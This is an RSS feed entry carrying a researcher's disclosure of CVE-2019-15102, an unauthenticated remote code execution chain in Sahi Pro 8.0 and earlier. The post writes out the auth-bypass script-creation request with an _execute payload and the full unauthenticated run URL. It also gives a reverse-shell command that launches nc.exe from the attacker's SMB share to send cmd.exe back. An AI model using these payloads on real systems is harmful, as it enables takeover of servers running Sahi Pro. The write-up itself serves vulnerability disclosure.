<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sahi Pro(&lt;=8.0) RCE Archives -</title>
	<atom:link href="https://barriersec.com/category/disclosures/sahi-pro8-0-rce/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/category/disclosures/sahi-pro8-0-rce/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:01:03 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>Sahi Pro(&lt;=8.0) RCE Archives -</title>
	<link>https://barriersec.com/category/disclosures/sahi-pro8-0-rce/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>CVE-2019-15102 – Sahi pro ( </title>
		<link>https://barriersec.com/2019/08/cve-2019-15102-sahi-pro/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 31 Aug 2019 21:34:48 +0000</pubDate>
				<category><![CDATA[Sahi Pro(<=8.0) RCE]]></category>
		<category><![CDATA[6.x]]></category>
		<category><![CDATA[7.x]]></category>
		<category><![CDATA[8.0]]></category>
		<category><![CDATA[cve-2019-15102]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[sahi pro]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=689</guid>

					<description><![CDATA[<p>It was found in sahi web editor interface, we can set up password to protect from unauthenticated users to misuse&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/08/cve-2019-15102-sahi-pro/">CVE-2019-15102 – Sahi pro ( &lt;= 8.x ) Remote Code Execution</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>It was found in sahi web editor interface, we can set up password to protect from unauthenticated users to misuse the functionalities.</p>
<p>It was found that even with the password protected web portals , an attacker can still bypass and perform all the operations of the interface as there are no server side validations for each request. Here in this example we will demonstrate how an attacker can create any file within sahi pro scripts root folder. This can be extended to all the operations.</p>
<p>This impacts can be maximized with the help of remote execution of sahi scripts feature with the help of testrunner generated URL. As launching these remote execution does not require any kind of authentication / password , chained with the previous bug ( creation of sahi script remotely without password ) results in complete take over of the system running sahi pro .</p>
<p>Here is the detailed proof of concept for the same :</p>
<p>An attacker visits the server running sahi pro. He tries to access the remote editor interface as shown below .</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-695" src="https://barriersec.com/wp-content/uploads/rce_1.png" alt="" width="803" height="580" srcset="https://barriersec.com/wp-content/uploads/rce_1.png 803w, https://barriersec.com/wp-content/uploads/rce_1-300x217.png 300w, https://barriersec.com/wp-content/uploads/rce_1-768x555.png 768w" sizes="(max-width: 803px) 100vw, 803px" /></p>
<p>Fig : Password protected login form.</p>
<p>As he observes that the console is password protected , he sends the script creation request directly to the <strong>EditorUI_saveScript </strong>end point as shown below.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-696" src="https://barriersec.com/wp-content/uploads/rce_2_2.png" alt="" width="938" height="419" srcset="https://barriersec.com/wp-content/uploads/rce_2_2.png 938w, https://barriersec.com/wp-content/uploads/rce_2_2-300x134.png 300w, https://barriersec.com/wp-content/uploads/rce_2_2-768x343.png 768w" sizes="(max-width: 938px) 100vw, 938px" /></p>
<p>Fig : direct request is sent to the end point with sahi script name and contents</p>
<p>( we make use of <strong>_execute</strong> API to execute system commands )</p>
<p>We have used fine name as <strong>rce.sah</strong> to be created and with contents as follows :</p>
<p><strong>_execute(&#8220;ping 192.168.0.105 -n 5&#8221;);</strong></p>
<p><strong>Here , 192.168.0.105 is IP of attacker machine. We make use of ping as payload because, we already assumed web interface is password protected hence we cannot directly see the output of the log files executed.</strong></p>
<p><strong> </strong></p>
<p>This vulnerability can be chained further with the next vulnerability :</p>
<p>No password authentication for remote executions of sahi scripts . Testrunner.bat or distributed runs does not have any authentication mechanism that can help an attacker to initiate remote runs on machine . this can be abused to launch a denial of service attack or more severe, remote code execution chained with the previous one.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-697" src="https://barriersec.com/wp-content/uploads/rce_2.png" alt="" width="1689" height="348" srcset="https://barriersec.com/wp-content/uploads/rce_2.png 1689w, https://barriersec.com/wp-content/uploads/rce_2-300x62.png 300w, https://barriersec.com/wp-content/uploads/rce_2-768x158.png 768w, https://barriersec.com/wp-content/uploads/rce_2-1024x211.png 1024w" sizes="(max-width: 1689px) 100vw, 1689px" /></p>
<p><strong>Fig : testrunner batch file converts the request to a URL request which is then fed to master_runNonDistributed / Distributed endpoints.</strong></p>
<p><strong>The url which is generated can be copied and can be used to launch any remote executions , just changing localhost to remote sahi server .</strong></p>
<p><strong>Attacker can the generated URL directly and execute any script he wants, in this case the malicious script he created that is “rce.sah” as follows :</strong></p>
<p><a href="http://192.168.0.104:9999/_s_/dyn/in.co.sahi.command.Master_runNonDistributed?1=1&amp;abortedRetryCount=0&amp;baseURL=https%3A%2F%2Fgoogle.com&amp;browserDeviceParams=ie&amp;browserType=ie&amp;emailPasswordHidden=true&amp;emailProp=&amp;emailProperties=..%5Cconfig%5Cemail.properties&amp;emailTrigger=success%2Cfailure&amp;failureRetryCount=0&amp;host=localhost&amp;isDifferentMasterS=null&amp;isNonDistributedRun=true&amp;isSendEmailS=false&amp;isSingleSessionS=false&amp;logsInfo=html&amp;port=9999&amp;scriptsPathMaster=scripts&amp;sendEmail=false&amp;sendEmailPeriodically=&amp;sendEmailPeriodicallyS=&amp;sendEmailPeriodicallyTime=&amp;showPeriodicSummary=true&amp;startWith=BROWSER&amp;suite=rce.sah&amp;suiteId=sahi_95673a6b0788c048640a8c70ffecf6920d23&amp;threads=5&amp;useSingleSession=false">http://<strong>192.168.0.104</strong>:9999/_s_/dyn/in.co.sahi.command.Master_runNonDistributed?1=1&amp;abortedRetryCount=0&amp;baseURL=https%3A%2F%2Fgoogle.com&amp;browserDeviceParams=ie&amp;browserType=ie&amp;emailPasswordHidden=true&amp;emailProp=&amp;emailProperties=..%5Cconfig%5Cemail.properties&amp;emailTrigger=success%2Cfailure&amp;failureRetryCount=0&amp;host=localhost&amp;isDifferentMasterS=null&amp;isNonDistributedRun=true&amp;isSendEmailS=false&amp;isSingleSessionS=false&amp;logsInfo=html&amp;port=9999&amp;scriptsPathMaster=scripts&amp;sendEmail=false&amp;sendEmailPeriodically=&amp;sendEmailPeriodicallyS=&amp;sendEmailPeriodicallyTime=&amp;showPeriodicSummary=true&amp;startWith=BROWSER&amp;<strong>suite=rce.sah</strong>&amp;suiteId=sahi_95673a6b0788c048640a8c70ffecf6920d23&amp;threads=5&amp;useSingleSession=false</a></p>
<p>&nbsp;</p>
<p>here just changing <strong>suite</strong> get parameter , attacker can execute any suite/script of his choice . he executes the script he created before remotely as follows :</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-698" src="https://barriersec.com/wp-content/uploads/rce_3.png" alt="" width="1867" height="679" srcset="https://barriersec.com/wp-content/uploads/rce_3.png 1867w, https://barriersec.com/wp-content/uploads/rce_3-300x109.png 300w, https://barriersec.com/wp-content/uploads/rce_3-768x279.png 768w, https://barriersec.com/wp-content/uploads/rce_3-1024x372.png 1024w" sizes="(max-width: 1867px) 100vw, 1867px" /></p>
<p>Fig : attacker executes his previously created script with the help of <strong>testrunner</strong> generated URL.</p>
<p>As the payload specified, if the execution is successful , attacker should get a ping request to his machine. This can be confirmed with the help of listening to icmp request using tcpdump as follows :</p>
<p><strong>Tcpdump –I eth0 icmp –vv</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-699" src="https://barriersec.com/wp-content/uploads/rce_4.png" alt="" width="1111" height="495" srcset="https://barriersec.com/wp-content/uploads/rce_4.png 1111w, https://barriersec.com/wp-content/uploads/rce_4-300x134.png 300w, https://barriersec.com/wp-content/uploads/rce_4-768x342.png 768w, https://barriersec.com/wp-content/uploads/rce_4-1024x456.png 1024w" sizes="(max-width: 1111px) 100vw, 1111px" /></p>
<p>Fig : as we can see attacker machine gets a ICMP echo ping request from remote victim machine running sahi pro .</p>
<p>Now we can confirm the remote code execution. Lets now maximize the impact by getting a complete shell of the victim machine. This can be done with many ways..i use SMB to host a reverse shell which is directly executed by remote server.(temporarily hosted on my attacker box ) to achieve the same(same network).</p>
<p>Command :</p>
<p>_execute(&#8220;<strong>\\\\192.168.0.105\\MENOE\\nc.exe -nv 192.168.0.105 443 -e cmd.exe</strong>&#8220;);</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-700" src="https://barriersec.com/wp-content/uploads/rce8.png" alt="" width="1413" height="566" srcset="https://barriersec.com/wp-content/uploads/rce8.png 1413w, https://barriersec.com/wp-content/uploads/rce8-300x120.png 300w, https://barriersec.com/wp-content/uploads/rce8-768x308.png 768w, https://barriersec.com/wp-content/uploads/rce8-1024x410.png 1024w" sizes="(max-width: 1413px) 100vw, 1413px" /></p>
<p>&nbsp;</p>
<p>Fig : attacker creates another script with the payload specified above.</p>
<p>&nbsp;</p>
<p>executing the script with the same unauthenticated endpoint results in code execution with receiving a proper reverse shell.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-701" src="https://barriersec.com/wp-content/uploads/rce7.png" alt="" width="1704" height="527" srcset="https://barriersec.com/wp-content/uploads/rce7.png 1704w, https://barriersec.com/wp-content/uploads/rce7-300x93.png 300w, https://barriersec.com/wp-content/uploads/rce7-768x238.png 768w, https://barriersec.com/wp-content/uploads/rce7-1024x317.png 1024w" sizes="(max-width: 1704px) 100vw, 1704px" />                                                Fig : &gt;&gt; Reverse shell &lt;&lt;</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2019/08/cve-2019-15102-sahi-pro/">CVE-2019-15102 – Sahi pro ( &lt;= 8.x ) Remote Code Execution</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
